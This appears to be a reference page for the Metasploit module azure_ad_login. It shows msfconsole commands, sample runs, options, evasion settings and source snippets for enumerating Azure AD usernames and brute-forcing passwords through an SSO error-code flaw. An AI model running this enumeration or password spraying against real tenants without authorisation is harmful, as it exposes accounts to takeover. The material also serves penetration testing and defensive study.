Microsoft Azure Active Directory Login Enumeration - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/http/azure_ad_login metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Microsoft Azure Active Directory Login Enumeration
Module: auxiliary/scanner/http/azure_ad_login
Source code: modules/auxiliary/scanner/http/azure_ad_login.rb
Disclosure date: -
Last modification time: 2022-10-05 13:19:36 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -

This module enumerates valid usernames and passwords against a Microsoft Azure Active Directory domain by utilizing a flaw in how SSO authenticates.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/scanner/http/azure_ad_login
msf auxiliary(azure_ad_login) > show targets
    ... a list of targets ...
msf auxiliary(azure_ad_login) > set TARGET target-id
msf auxiliary(azure_ad_login) > show options
    ... show and set options ...
msf auxiliary(azure_ad_login) > exploit

Required Options

  • DOMAIN: The target Azure AD domain

Knowledge Base

Vulnerable Application

The Microsoft Azure AD SSO service has a vulnerable endpoint that delivers an error-code based response to specific authentication requests in XML. The endpoint, when passed the correct credentials, will respond with a DesktopSsoToken that can be used to authenticate to Azure AD. When the authentication is unsuccessful, the error code that is returned can be used to discover the validity of usernames in the target tenant. This module also reports credentials to the credentials database when they are discovered.

Verification Steps

  • [ ] Start msfconsole
  • [ ] use auxiliary/scanner/http/azure_ad_login
  • [ ] show info
  • [ ] set USER_FILE USER_FILE
  • [ ] set PASS_FILE PASS_FILE
  • [ ] set DOMAIN example.com
  • [ ] run
  • [ ] Check output for validity of your test username(s), and password(s)

Options

DOMAIN

The target tenant domain to use for the username checks.

USERNAME

A specific username to verify.

PASSWORD

A specific password to verify.

USER_FILE

A file with users, one per line.

PASS_FILE

A file with passwords, one per line.

Scenarios

Azure AD Tenants with SSO Enabled

If a tenant's domain is known, you can use this module for username and password brute-forcing.

Specific target output replaced with *s so as not to disclose information

msf6 > use auxiliary/scanner/http/azure_ad_login
msf6 auxiliary(scanner/http/azure_ad_login) > set USER_FILE /home/kali/users.txt
USER_FILE => /home/kali/users.txt
msf6 auxiliary(scanner/http/azure_ad_login) > set PASS_FILE /home/kali/pass.txt
PASS_FILE => /home/kali/pass.txt
msf6 auxiliary(scanner/http/azure_ad_login) > set DOMAIN example.com
DOMAIN => example.com
msf6 auxiliary(scanner/http/azure_ad_login) > run

msf6 auxiliary(scanner/http/azure_ad_login) > run

[-] example.com\wrong is not a valid user
[-] example.com\wrong is not a valid user
[-] example.com\wrong is not a valid user
[-] example.com\k0pak4 is not a valid user
[-] example.com\k0pak4 is not a valid user
[-] example.com\k0pak4 is not a valid user
[+] Password password is invalid but example.com\**** is valid!
[+] Password Password1! is invalid but example.com\**** is valid!
[+] Login example.com\****:****** is valid!
[+] Desktop SSO Token: *******************************************
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

If a tenant's domain is known, you can enumerate their usernames

msf6 > use auxiliary/scanner/http/azure_ad_login
msf6 auxiliary(scanner/http/azure_ad_login) > set USER_FILE /home/kali/users.txt
USER_FILE => /home/kali/users.txt
msf6 auxiliary(scanner/http/azure_ad_login) > set PASSWORD password
PASSWORD => password
msf6 auxiliary(scanner/http/azure_ad_login) > set DOMAIN example.com
DOMAIN => example.com
msf6 auxiliary(scanner/http/azure_ad_login) > run

[-] example.com\wrong is not a valid user
[-] example.com\k0pak4 is not a valid user
[+] Password password is invalid but example.com\**** is valid!
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

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Msfconsole Usage

Here is how the scanner/http/azure_ad_login auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/http/azure_ad_login

msf6 auxiliary(scanner/http/azure_ad_login) > show info

       Name: Microsoft Azure Active Directory Login Enumeration
     Module: auxiliary/scanner/http/azure_ad_login
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Matthew Dunn - k0pak4

Check supported:
  No

Basic options:
  Name              Current Setting                     Required  Description
  ----              ---------------                     --------  -----------
  BRUTEFORCE_SPEED  5                                   yes       How fast to bruteforce, from 0 to 5
  DB_SKIP_EXISTING  none                                no        Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
  DOMAIN                                                yes       The target Azure AD domain
  PASSWORD          password                            no        A specific password to authenticate with
  PASS_FILE                                             no        File containing passwords, one per line
  RHOST             autologon.microsoftazuread-sso.com  yes       The target Azure endpoint
  RPORT             443                                 yes       The target port (TCP)
  SSL               true                                no        Negotiate SSL/TLS for outgoing connections
  TARGETURI         /winauth/trust/2005/usernamemixed   yes       The base path to the Azure autologon endpoint
  USERNAME                                              no        A specific username to authenticate as
  USER_FILE                                             no        File containing usernames, one per line
  VERBOSE           true                                yes       Whether to print output for all attempts

Description:
  This module enumerates valid usernames and passwords against a 
  Microsoft Azure Active Directory domain by utilizing a flaw in how 
  SSO authenticates.

References:
  https://raxis.com/blog/metasploit-azure-ad-login
  https://arstechnica.com/information-technology/2021/09/new-azure-active-directory-password-brute-forcing-flaw-has-no-fix/
  https://github.com/treebuilder/aad-sso-enum-brute-spray

Module Options

This is a complete list of options available in the scanner/http/azure_ad_login auxiliary module:

msf6 auxiliary(scanner/http/azure_ad_login) > show options

Module options (auxiliary/scanner/http/azure_ad_login):

   Name              Current Setting                     Required  Description
   ----              ---------------                     --------  -----------
   BRUTEFORCE_SPEED  5                                   yes       How fast to bruteforce, from 0 to 5
   DB_SKIP_EXISTING  none                                no        Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
   DOMAIN                                                yes       The target Azure AD domain
   PASSWORD          password                            no        A specific password to authenticate with
   PASS_FILE                                             no        File containing passwords, one per line
   RHOST             autologon.microsoftazuread-sso.com  yes       The target Azure endpoint
   RPORT             443                                 yes       The target port (TCP)
   SSL               true                                no        Negotiate SSL/TLS for outgoing connections
   TARGETURI         /winauth/trust/2005/usernamemixed   yes       The base path to the Azure autologon endpoint
   USERNAME                                              no        A specific username to authenticate as
   USER_FILE                                             no        File containing usernames, one per line
   VERBOSE           true                                yes       Whether to print output for all attempts

Advanced Options

Here is a complete list of advanced options supported by the scanner/http/azure_ad_login auxiliary module:

msf6 auxiliary(scanner/http/azure_ad_login) > show advanced

Module advanced options (auxiliary/scanner/http/azure_ad_login):

   Name                  Current Setting                                 Required  Description
   ----                  ---------------                                 --------  -----------
   DigestAuthIIS         true                                            no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                            no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                     no        HTTP connection and receive timeout
   HttpPassword                                                          no        The HTTP password to specify for authentication
   HttpRawHeaders                                                        no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                           no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                         no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                           no        Show HTTP headers only in HttpTrace
   HttpUsername                                                          no        The HTTP username to specify for authentication
   MaxGuessesPerService  0                                               no        Maximum number of credentials to try per service instance. If set to zero or a non-nu
                                                                                   mber, this option will not be used.
   MaxGuessesPerUser     0                                               no        Maximum guesses for a particular username for the service instance. Note that users a
                                                                                   re considered unique among different services, so a user at 10.1.1.1:22 is different
                                                                                   from one at 10.2.2.2:22, and both will be tried up to the MaxGuessesPerUser limit. If
                                                                                    set to zero or a non-number, this option will not be used.
   MaxMinutesPerService  0                                               no        Maximum time in minutes to bruteforce the service instance. If set to zero or a non-n
                                                                                   umber, this option will not be used.
   REMOVE_PASS_FILE      false                                           yes       Automatically delete the PASS_FILE on module completion
   REMOVE_USERPASS_FILE  false                                           yes       Automatically delete the USERPASS_FILE on module completion
   REMOVE_USER_FILE      false                                           yes       Automatically delete the USER_FILE on module completion
   SSLVersion            Auto                                            yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (A
                                                                                   ccepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   TRANSITION_DELAY      0                                               no        Amount of time (in minutes) to delay before transitioning to the next user in the arr
                                                                                   ay (or password when PASSWORD_SPRAY=true)
   UserAgent             Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:9  no        The User-Agent header to use for all requests
                         4.0) Gecko/20100101 Firefox/94.0
   WORKSPACE                                                             no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the scanner/http/azure_ad_login module can do:

msf6 auxiliary(scanner/http/azure_ad_login) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the scanner/http/azure_ad_login auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/http/azure_ad_login) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-rand
                                                            om)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<PEER> - Could not communicate with service.

Here is a relevant code snippet related to the "<PEER> - Could not communicate with service." error message:

120:	      },
121:	      'data' => body
122:	    })
123:	
124:	    unless res
125:	      fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.")
126:	    end
127:	
128:	    @target_host ||= report_host(host: rhost, name: rhost, state: Msf::HostState::Alive)
129:	
130:	    # Check the XML response for either the SSO Token or the error code

<DOMAIN>\<USERNAME> is not a valid user

Here is a relevant code snippet related to the "<DOMAIN>\<USERNAME> is not a valid user" error message:

155:	      :next_user
156:	    elsif auth_details.start_with?('AADSTS50014') # User exists, but the maximum Pass-through Authentication time was exceeded
157:	      print_good("#{domain}\\#{username} is valid but the maximum pass-through authentication time was exceeded")
158:	      report_login(@target_host.address, domain, username, nil)
159:	    elsif auth_details.start_with?('AADSTS50034') # User does not exist
160:	      print_error("#{domain}\\#{username} is not a valid user")
161:	    elsif auth_details.start_with?('AADSTS50053') # Account is locked
162:	      print_error('Account is locked, consider taking time before continuuing to scan!')
163:	      :next_user
164:	    else # Unknown error code
165:	      print_error("Received unknown response with error code: #{auth_details}")

Account is locked, consider taking time before continuuing to scan!

Here is a relevant code snippet related to the "Account is locked, consider taking time before continuuing to scan!" error message:

157:	      print_good("#{domain}\\#{username} is valid but the maximum pass-through authentication time was exceeded")
158:	      report_login(@target_host.address, domain, username, nil)
159:	    elsif auth_details.start_with?('AADSTS50034') # User does not exist
160:	      print_error("#{domain}\\#{username} is not a valid user")
161:	    elsif auth_details.start_with?('AADSTS50053') # Account is locked
162:	      print_error('Account is locked, consider taking time before continuuing to scan!')
163:	      :next_user
164:	    else # Unknown error code
165:	      print_error("Received unknown response with error code: #{auth_details}")
166:	    end
167:	  end

Received unknown response with error code: <AUTH_DETAILS>

Here is a relevant code snippet related to the "Received unknown response with error code: <AUTH_DETAILS>" error message:

160:	      print_error("#{domain}\\#{username} is not a valid user")
161:	    elsif auth_details.start_with?('AADSTS50053') # Account is locked
162:	      print_error('Account is locked, consider taking time before continuuing to scan!')
163:	      :next_user
164:	    else # Unknown error code
165:	      print_error("Received unknown response with error code: #{auth_details}")
166:	    end
167:	  end
168:	
169:	  def run
170:	    each_user_pass do |cur_user, cur_pass|

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References

See Also

Check also the following modules related to this module:

Authors

  • Matthew Dunn - k0pak4

Version

This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

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